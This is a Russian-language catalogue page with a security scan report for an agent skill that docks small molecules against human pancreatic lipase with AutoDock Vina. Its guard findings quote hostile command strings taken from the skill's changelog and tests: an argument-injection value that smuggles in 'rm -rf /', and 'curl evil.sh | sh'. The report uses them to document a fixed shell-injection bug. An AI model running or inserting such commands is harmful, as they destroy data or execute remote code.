SKILLEMALL.ai

FD pancreatic-lipase-pro-docking

Докирует малые молекулы против человеческой панкреатической липазы (PDB 1LPB, липаза+колипаза+Ca2+) в 5 валидированных сайтах с помощью AutoDock Vina — протонирование при pH 7.4, перечисление таутомеров/стереоизомеров, консенсус по нескольким затравкам, ворота RMSD для повторной докировки нативных соединений и обнаружение дрейфа калибровки. Работает локально или на бесплатных CPU-ядрах Kaggle. Используйте, когда пользователь просит докировать, скринировать или ранжировать соединения против панкреатической липазы, PNLIP, hPL, или для виртуального скрининга ингибиторов ожирения/липазы.

машинный переводПоказать оригиналСкрыть оригинал«Docks small molecules against human pancreatic lipase (PDB 1LPB, lipas…»

Docks small molecules against human pancreatic lipase (PDB 1LPB, lipase+colipase+Ca2+) across 5 validated sites with AutoDock Vina — pH 7.4 protonation, tautomer/stereoisomer enumeration, multi-seed consensus, native re-dock RMSD gate, and calibration drift detection. Runs locally or on free Kaggle CPU kernels. Use when the user asks to dock, screen, or rank compounds against pancreatic lipase, PNLIP, hPL, or for anti-obesity/lipase-inhibitor virtual screening.

Заблокированguard заблокировал скилл: найдены признаки вредоносного поведения
ClawHub Agent Skills автор: orionshaowswmw v101.0.7 MIT-0 70 файлов · 9 скриптов тело ≈ 1 517 токенов Открыть источникclawhub.ai проанализирован 2 дн назад

Докирует малые молекулы против человеческой панкреатической липазы (PDB 1LPB, липаза+колипаза+Ca2+) в 5 валидированных сайтах с помощью AutoDock Vina —…

Как процесс D 46/100 · Процесс не доведён — слабые места: результат и критерий готовности, входы и предусловия, ошибки и развилки

АнализаторДанные и аналитикатип и темы размечены автоматически по тексту скилла
JSON
Технический рейтинг
F
40/100
безопасность, качество, тесты
Безопасность 60%
10
Качество 40%
86
Прогон на моделях
не было
Процессный рейтинг
D
46/100
Процесс не доведён
Результат и критерий готовности вес 14
0
Входы и предусловия вес 11
0
Ошибки и развилки вес 10
0
три самых слабых из десяти параметров · все десять
Guard заблокировал этот скилл: найдены критические проблемы (см. ниже). Не устанавливайте его, пока автор не исправит.

Чем это грозит

Скилл содержит фрагменты, которые в чужих руках стоят денег или данных. Ниже, что рискует потерять тот, кто установит, и что должен сделать автор.

Опасные команды
Если установить

Скилл содержит команды, которые удаляют файлы, переписывают диски или исполняют код, скачанный из сети. Агент может выполнить их без вопроса, если считает, что так требует инструкция.

Автору

Замените разрушительные команды на безопасные аналоги с подтверждением, ограничьте область действия конкретной папкой и не тяните код через curl | bash: укажите версию и контрольную сумму.

Как улучшить

  1. Уберите критические находки guard (секреты, опасные команды, скрытые инструкции): пока они есть, скилл заблокирован и не может получить оценку выше F.
Для прогона на моделях — необязательно
  • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
  • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

Находки guard · 5

  • критично Опасные команды cmd-destructive-fs CHANGELOG.md:40
    Разрушительная команда для файловой системы (корень / домашняя папка / диск) (в кавычках — упоминание, а не команда)
    shell=True)`, so `--extra "; rm -rf / #"` would have executed inside the
    в кавычках
  • высокая Опасные команды cmd-destructive-fs scripts/kaggle_dock.py:63
    Разрушительная команда для файловой системы (корень / домашняя папка / диск) (строковый литерал в коде, не выполняется)
    `; rm -rf / #` and — before the shell=False fix — have it executed in the
    строка в коде
Средние и низкие: 3
  • средняя Опасные команды cmd-shell-rc docking_professional_stack/Dockerfile:11
    Запись в файл автозагрузки shell (.bashrc / .zshrc / .profile)
    RUN echo "micromamba activate pro-docking-full" >> ~/.bashrc
  • средняя Опасные команды cmd-destructive-fs docking_professional_stack/tests/test_v101.py:175
    Разрушительная команда для файловой системы (корень / домашняя папка / диск) (строковый литерал в коде, не выполняется; комментарий в коде; тестовый файл / пример)
    # --extra interpolated into the string, so `--extra "; rm -rf / #"` executed
    строка в кодекомментарийтестовый файл
  • низкая Опасные команды cmd-pipe-to-shell docking_professional_stack/tests/test_v101.py:180
    Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строковый литерал в коде, не выполняется; тестовый файл / пример)
    "&& curl evil.sh | sh",
    строка в кодетестовый файл

Просканировано файлов: 70. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

По спецификации Agent Skills

  • заметка frontmatter-key неизвестное поле фронтматтера "categories"
  • заметка frontmatter-key неизвестное поле фронтматтера "topics"
  • заметка frontmatter-key неизвестное поле фронтматтера "type"

Процессный рейтинг: все десять параметров 46/100

  • 0Результат и критерий готовности. Не сказано, что считать результатом
  • 0Входы и предусловия. Не сказано, что нужно иметь на входе
  • 0Ошибки и развилки. Линейный процесс без обработки сбоев
  • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
  • 30Повторный запуск. Изменяющих операций: 3, без проверки текущего состояния
  • 50Шаги. Шагов: 2
  • 60Инструменты и файлы. Используются инструменты (bash, python), но во frontmatter они не объявлены
  • 100Когда включается. Сказано, когда применять и когда не применять
  • 100Согласованность. Имя и обязательные поля на месте
  • 100Стоимость исполнения. Тело инструкции 1517 токенов

Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

Сигналы качества

  • +5В description нет примеров фраз, по которым скилл должен срабатывать
  • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
  • +3Нет пошаговых инструкций или чек-листа
  • +3Формат ответа не описан: модель каждый раз решает сама
  • +2Инструкции на одном языке
  • +3Длина description 465 символов: достаточно сигнала, не съедает бюджет
  • +4Структура: 9 заголовков
  • +4Есть примеры (2 блоков кода)
  • +4Справочные файлы упоминаются в инструкциях (4 из 4)
  • +3Все 2 скриптов описаны в инструкциях
  • +1Лицензия указана

База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 86.

Внешние проверки

ClawHub: suspicious
This appears to be a real molecular docking skill, but it needs Review because optional install/cloud paths can run unpinned downloaded tooling and the Kaggle path can expose ligand data in logs.
LLM: suspicious (high) · 7 сент. 2026 г.